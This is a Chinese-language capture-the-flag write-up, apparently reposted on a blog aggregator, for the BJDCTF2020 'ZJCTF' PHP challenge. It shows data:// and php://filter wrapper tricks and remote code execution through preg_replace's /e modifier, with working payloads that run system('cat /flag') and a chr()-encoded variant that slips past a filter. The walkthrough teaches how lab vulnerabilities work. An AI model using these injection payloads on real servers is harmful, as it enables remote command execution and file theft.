[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞

这篇具有很好参考价值的文章主要介绍了[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

 

目录

preg_replace的/e模式

为什么要变为 {${phpinfo()}}

另一个方法

版本


<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

直接看看代码

首先 text file获取参数

判断 text为空 和 读取 text的文件内容 并且要为 I have a dream

这里可以使用data伪协议绕过 让 text识别到 I have a dream
本地测试一下就知道了

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞,WEB,web

通过 data获取 I have a dream 得到该数据 这样 就可以绕过判断

然后文件包含 提示我们 next.php

include很显然就是使用伪协议 我们直接php://来读取

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞,WEB,web

 解密

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
访问期间全局保存 id


function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
这里很关键

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
将get的值 作为 re->str类型  

function getFlag(){
	@eval($_GET['cmd']);
}
执行命令

我们看看其中关键的内容

preg_replace的/e模式

这里主要是使用了 prg_replace的危险参数 /e

可执行参数

就可以将第二个参数作为命令执行

所以上面其实 就是匹配

'/(' . $re . ')/ei',    'strtolower("\\1")',


就是 eval(strtolower("\\1"))

但是 \\1 在正则中存在自己的作用

其实就是匹配第一项

这里给出例子

 preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

regex是我们的参数值 即 get的名称  value是传入的参数

.*=phpinfo()


所以就变为了

 preg_replace('/(.*)/ei', 'strtolower("\\1")',phpinfo());

但是这里是无法执行phpinfo()的

为什么要变为 {${phpinfo()}}

首先我们要知道

$a=hello

$$a=world   

这里相当于 

$hello=world


所以

echo $a $hello

为

hello world

我们接着理解一下

${phpinfo()}

执行完会变为 ${1} 因为 phpinfo()通过var_dump返回的是1

所以strtolower 变为 strtolower({${1}})

接着变为 strtolower({null}) 

这里还存在一个问题

如果我们输入 ?.*

作为 get的名字的话

无法执行

因为对于get非法参数会自动替换为 _

但是我们如果输入 一个大写字母就可以实现 

例如 ?.* ---> ?_*

    ?\S* ---> ?\S*

使用了其他正则

就是 \S 匹配非空

这道题我们需要执行 getFlag

所以我们修改 参数

这里我们需要了解 主要是要让第二个参数 作为命令执行

preg_replace(正则,需要执行的命令,原本的值)

我们现在需要

strtolower("\1")为我们的"原本的值"来作为命令执行

而strtolower("\1")要为命令 就需要原本的值是命令

而我们需要通过${phpinfo()}直接执行 phpinfo()

这里执行完phpinfo() 就会变为strtolower("${phpinfo()}")-->strtolower("${1}")-->null

 这里说太多了 主要就是让第二个参数为 phpinfo即可

我们需要通过 ${}来解析phpinfo() 否则还是无法执行命令

next.php?\S*={${getFlag()}}&cmd=system('cat /flag');

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞,WEB,web

这里flag就出来了

这里主要理解 ${phpinfo()}

我们不在意匹配后的字符串是什么

而是沟通过${}来直接解析phpinfo()

另一个方法

这里既然我们可以通过 第二个参数直接解析那我们直接替换为命令即可

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞,WEB,web

我们直接通过 system("cat /flag"); 看看能不能执行

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞,WEB,web

发现报错了 说明存在过滤

我们直接通过 chr拼接字符即可

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}


system(cat /flag)

[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞,WEB,web

执行成功

获得flag

版本

/e模式在php5.5.x版本已经弃用了,但是根据我实验,在5.6.9版本下,虽然会报错,但是还能够使用这个特性

 7.0之后的版本就不能用

[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此_Sk1y的博客-CSDN博客文章来源地址https://www.toymoban.com/news/detail-705500.html

到了这里,关于[BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 无涯教程-PHP - preg_split()函数

    preg_ split() 函数的操作与 split() 完全相同,只不过正则表达式被接受为 pattern 的输入参数。 如果指定了可选的输入参数 limit ,则仅返回子字符串的限制数量。 标志可以是以下标志的任意组合- PREG_SPLIT_NO_EMPTY               -  如果设置了此标志,则 preg_ split() 将仅返回非空

    2024年02月11日
    浏览(36)
  • [ZJCTF 2019]NiZhuanSiWei

    目录 信息收集 代码审计 第一层 第二层 第三层 打开页面又是代码审计 代码如下 第一层 通过data伪协议模拟打开text文件 ?text=data://text/plain,welcome to the zjctf 第二层 通过filter伪协议读取useless.php file=php://filter/convert.base64-encode/resource=useless.php 进行base64解码后得到useless.php的内容

    2023年04月17日
    浏览(29)
  • [ZJCTF 2019]NiZhuanSiWei 1

     1.1打开题目地址,查看为PHP代码审计 代码审计走起,一步一步分析 2.1大体要传入三个参数,先看第一段语句,   知识点 1)PHP函数 1.isset:PHP: isset - Manual 2.file_get_contents:PHP: file_get_contents - Manual  2)关于伪协议常用的payload,包括读文件和php代码执行 1.?file=data:text/plain,?p

    2024年02月08日
    浏览(43)
  • [ZJCTF 2019]NiZhuanSiWei 1详解

    知识点: data:// 写入数据 php://input 执行php //filter 查看源码 下面我们来看题吧,打开题目一看,直接是源码 我们需要get方式提交参数,text、file、password。 然后就是来到了第一个需要绕过的地方 要求text不为空,这是肯定的,主要看下一句,file_get_contents($text,\\\'r\\\')===\\\"welcome to

    2024年02月08日
    浏览(37)
  • 他98年的,我真的玩不过他...

    现在的小年轻真的卷得过分了。前段时间我们公司来了个98年的,工作没两年,跳槽到我们公司起薪18K,都快接近我了。后来才知道人家是个卷王,从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天,原来这位小老弟家里条件不太好,一大家子指望他一个人养活,所

    2023年04月18日
    浏览(56)
  • 他是98年的卷王,我真的玩不过他····

    现在的小年轻真的卷得过分了。前段时间我们公司来了个98年的,工作没两年,跳槽到我们公司起薪18K,都快接近我了。后来才知道人家是个卷王,从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天,原来这位小老弟家里条件不太好,一大家子指望他一个人养活,所

    2024年02月07日
    浏览(39)
  • 8 年 SQL 人,撑不过前 6 题

    抱歉各位,标题党了。。 前两天发布了一款 SQL 题集: 开发了一个SQL数据库题库小程序 - 戳它直达 群里小伙伴反馈,太简单: 于是,我又改版了下: 列举几题,大家看看难度: SQL Server 方向: 单选:在SQL Server中,如果你要获取一个表的所有索引信息,应使用哪个系统存

    2024年02月07日
    浏览(37)
  • 果然AIGC还是对动漫制作下手了,不过是从数据集AnimeRun开始

    原文链接:https://www.techbeat.net/article-info?id=4327 作者:seven_ 最近AIGC领域的新工作几乎呈现一种井喷式的发展,借助AI模型天马行空的想象力,研究者们开始在各种 图像和视频内容领域 发力,本文介绍一篇发表在 NeurIPS 2022 Dataset and Benchmark Track 上的新工作。该工作并非是像近期

    2024年02月09日
    浏览(48)
  • 月入不过万上班族不能错过的搞钱AI神器,文案、动画、设计全都有!

    用AI搞钱真的太香啦,不管是文案、动画、漫画还是设计、卡通等AI啥都能搞,关键还有个巨巨省钱神器被我发现了,不仅能搞钱还省钱,每月多攒八千、1w真的一点都不是问题,我不允许还有人不知道这几个个神器! iThinkScene 一句话生成图文带货 一个综合性AI平台网站,可以

    2024年01月24日
    浏览(69)
  • 微软又回巅峰,金山比不过?而此金山系软件,已超Excel,不是WPS

    在2018年12月,微软的股价攀升至113美元,短暂地成为了全球市值最高的公司。而在此次财报公布之后,微软的股价更是一度冲高到140.6美元,市值飙升至1.04万亿美元,稳坐全球市值最高的公司宝座,超越了亚马逊和苹果。 根据微软2019财年的业绩报告显示,云计算业务为其带

    2024年04月15日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包